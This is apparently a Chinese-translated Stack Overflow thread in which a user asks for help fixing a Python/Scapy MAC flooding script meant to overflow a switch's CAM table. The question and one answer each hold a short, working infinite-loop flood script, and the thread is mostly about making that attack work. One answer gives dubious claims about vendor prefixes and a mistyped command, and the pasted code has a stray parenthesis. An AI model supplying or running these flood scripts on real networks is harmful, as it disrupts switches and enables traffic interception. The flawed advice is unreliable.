繁体   English   中英

python / scapy mac洪水脚本

[英]python/scapy mac flooding script

我正在尝试在python中制作一个小的mac洪水工具来填充我的开关cam表,但我无法使魔术发生? 你能看到我做错了什么吗?

from scapy.all import *
while 1:
  dest_mac = RandMAC()
  src_mac = RandMAC()
  sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc="0.0.0.0", hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0)

虽然代码似乎可以正常运行,但是只是不执行其工作。 为了测试它,我用wireshark来查看数据包,然后运行THC的寄生虫“有效”,并且数据包几乎相同,所以我不确定发生了什么。 感谢您的任何帮助。

您只能使用某些mac地址:mac地址由六组的两个十六进制数字组成,用连字符(-)或冒号(:)分隔。 前三个字段必须填充一些值,每个供应商都不同。 如果未使用任何供应商代码设置此字段,则服务器(或客户端)将丢弃该数据包。 您可以在wireshark的manuf文件中找到mac供应商列表,或者只是通过google查找它。 您可以通过在终端中键入“ sudo ifcofig IFACE ether hw ADDRESS”来检查地址。

Emada,

交换机仅通过使用源地址来学习Mac地址,因此无需担心目标随机化。

我已经对此进行了测试,它似乎运行良好。.您可能还想尝试使用sendpfast选项进行泛洪,但是在我的测试中,sendp似乎运行得更快?

from scapy.all import *

while 1:
    sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)))

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM